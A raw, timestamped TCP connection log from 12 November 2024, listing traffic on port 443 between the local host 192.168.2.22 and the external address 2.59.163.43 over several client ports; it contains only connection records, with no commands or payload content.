Nov 12, 2024 17:30:03.140681028 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.140757084 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.142863035 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.142877102 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.142929077 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.142935038 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.144052029 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.215945005 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.215965986 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.216027975 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.216047049 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.216161966 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.313736916 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.314004898 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.321651936 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.321690083 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.321723938 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.321732998 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.321743965 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.334022999 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.334043980 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.334090948 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.334095955 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.334114075 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.359733105 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.396899939 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.397186041 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.397205114 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.397546053 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.398010015 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.398068905 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.398247957 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.399777889 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.400000095 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.400027037 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.400049925 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.400058985 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.400088072 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.400094986 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.400120020 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.400162935 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.401120901 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.401134014 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.403270006 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.403342009 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.403383017 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.403393030 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.403403997 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.403435946 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.404025078 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.404067039 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.404078007 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.404089928 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.404128075 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.405149937 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.405169010 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.411433935 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.411470890 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.411528111 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.412245989 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.412261963 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.440879107 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.440901041 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.440937042 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.440951109 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.440957069 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.441065073 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.443336010 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.451652050 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.451677084 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.451715946 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.451721907 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.451746941 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.451838017 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.559360027 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.559401035 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.559458017 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.559458017 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.559478045 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.559576988 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.569647074 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.569665909 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.569716930 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.569727898 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.569812059 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476057053 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476113081 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476123095 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476157904 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476166010 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476180077 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476207018 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476216078 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476221085 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476227045 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476232052 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476258039 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476258993 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476258993 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476269007 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.476290941 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.476495981 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.477385044 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.477401018 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.477442026 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.477447033 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.477551937 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.477570057 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.477602005 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.477606058 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.477616072 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.477730036 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.478003025 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.478015900 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.478305101 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.478327036 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.478374958 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.478966951 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.478979111 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.481863022 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.481878042 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.481913090 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.481919050 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.481930017 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.482147932 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482189894 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482220888 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.482225895 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482234001 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482237101 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.482274055 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482292891 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.482300997 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482331038 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.482338905 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.482369900 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.483983994 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.488539934 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.488543987 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.750550985 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.754287958 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.754484892 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.756123066 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.756654978 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.856683016 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.856693029 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.857059956 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.858916998 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.858926058 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859052896 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.859061003 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859210968 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.859216928 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859318972 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.859344959 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859392881 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859776020 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859874964 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859886885 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.859947920 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.860167027 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.860178947 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:04.860224009 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.876713037 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:04.876791954 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.055835009 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.074397087 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.074481010 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.083338022 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.083391905 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.085926056 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.086002111 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.095331907 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.095387936 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.106223106 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.106359959 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.109801054 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.109863997 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.148351908 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.148545980 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.148598909 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.148608923 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.148644924 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.148794889 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.148808956 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.191333055 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.191340923 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.191343069 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.349858046 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.355863094 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.419116974 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.419420958 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.419452906 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.419485092 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.419485092 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.419511080 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.419533014 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.419539928 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.419588089 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.430083036 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.430098057 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.455461979 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.455557108 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.455594063 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.455600023 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.455610037 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.455641031 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.456031084 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.456037998 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.456074953 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.472698927 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.472769976 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.472809076 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.472846031 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.472857952 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.472898960 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.473382950 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.473390102 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.473448992 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.475683928 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.475754976 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.475792885 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.475801945 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.475811958 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.475855112 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.477670908 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.477741003 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.477781057 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.477788925 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.478250980 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.478260040 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.478296041 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.478305101 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.479363918 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.479377031 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.591964960 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.591974974 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.592008114 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.592029095 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.592109919 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.592147112 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.592155933 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.592199087 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.592237949 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.592700005 CET	49252	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.592711926 CET	443	49252	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.604691982 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.604701996 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.604733944 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.604764938 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.605063915 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.605112076 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.605118990 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.605145931 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.605216026 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.613333941 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.613343000 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.613393068 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.613405943 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.613485098 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.613492966 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.613528967 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.613538027 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.614259005 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.615120888 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.615130901 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.615135908 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.615144014 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.615159035 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.615183115 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.615192890 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.638926983 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.639149904 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.639163971 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.640290022 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.640353918 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.640655041 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.640718937 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.640887976 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.640894890 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.733975887 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.733984947 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.734004021 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.734023094 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.734050035 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.734067917 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.749416113 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.749424934 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.749439955 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.749445915 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.749480963 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.749494076 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.749541044 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.836877108 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.867800951 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.867809057 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.867825031 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.867831945 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.867855072 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.867881060 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.867892981 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.867957115 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.907763004 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.907843113 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.907869101 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.907885075 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.907891989 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.907928944 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.908036947 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.908077955 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.908082962 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.908129930 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.908166885 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.910200119 CET	49253	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.910208941 CET	443	49253	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.969696045 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.969703913 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.969731092 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.969764948 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.969783068 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.969799042 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.969897032 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.987023115 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.987030983 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.987054110 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.987078905 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.987088919 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:05.987097979 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:05.987426996 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.088716984 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.088751078 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.088785887 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.088803053 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.088813066 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.088906050 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.106513023 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.106547117 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.106578112 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.106586933 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.106626987 CET	49250	443	192.168.2.22	2.59.163.43
